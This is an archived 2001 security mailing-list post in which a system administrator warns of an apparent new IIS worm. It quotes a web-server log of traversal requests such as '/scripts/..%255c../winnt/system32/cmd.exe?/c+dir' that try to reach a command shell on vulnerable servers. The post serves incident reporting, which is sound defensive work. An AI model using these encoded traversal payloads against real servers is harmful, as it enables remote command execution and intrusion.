I picked up our first occurrences of this on 9/18/2001 at 8:29:27 central. The attempts were from the same Class A address space, until 9/18/2001 at 10:12:52 central. -----Original Message----- From: Cory McIntire [mailto:coryat_private] Sent: Tuesday, September 18, 2001 9:43 AM To: forensicsat_private Subject: New Worm ? Hello, I and a few others I know are getting bombard on our machines with IIS requests....looks like another worm, and its much smarter than before, it seems to stay within the same class A and sometimes the same class B as the attacking machine is in. here is an excerpt of what i believe is the full scan.... 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:14 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:16 -0500] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:16 -0500] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:19 -0500] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:19 -0500] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:19 -0500] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:22 -0500] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:23 -0500] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:23 -0500] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" just thought I would let you guys know...this one looks bad fella.....thank god for apache.....that is of course, if there isnt a huge bog down on the net....=[ cory ----------------------------------------------------------------- This list is provided by the SecurityFocus ARIS analyzer service. For more information on this free incident handling, management and tracking system please see: http://aris.securityfocus.com ----------------------------------------------------------------- This list is provided by the SecurityFocus ARIS analyzer service. For more information on this free incident handling, management and tracking system please see: http://aris.securityfocus.com
This archive was generated by hypermail 2b30 : Tue Sep 18 2001 - 10:04:57 PDT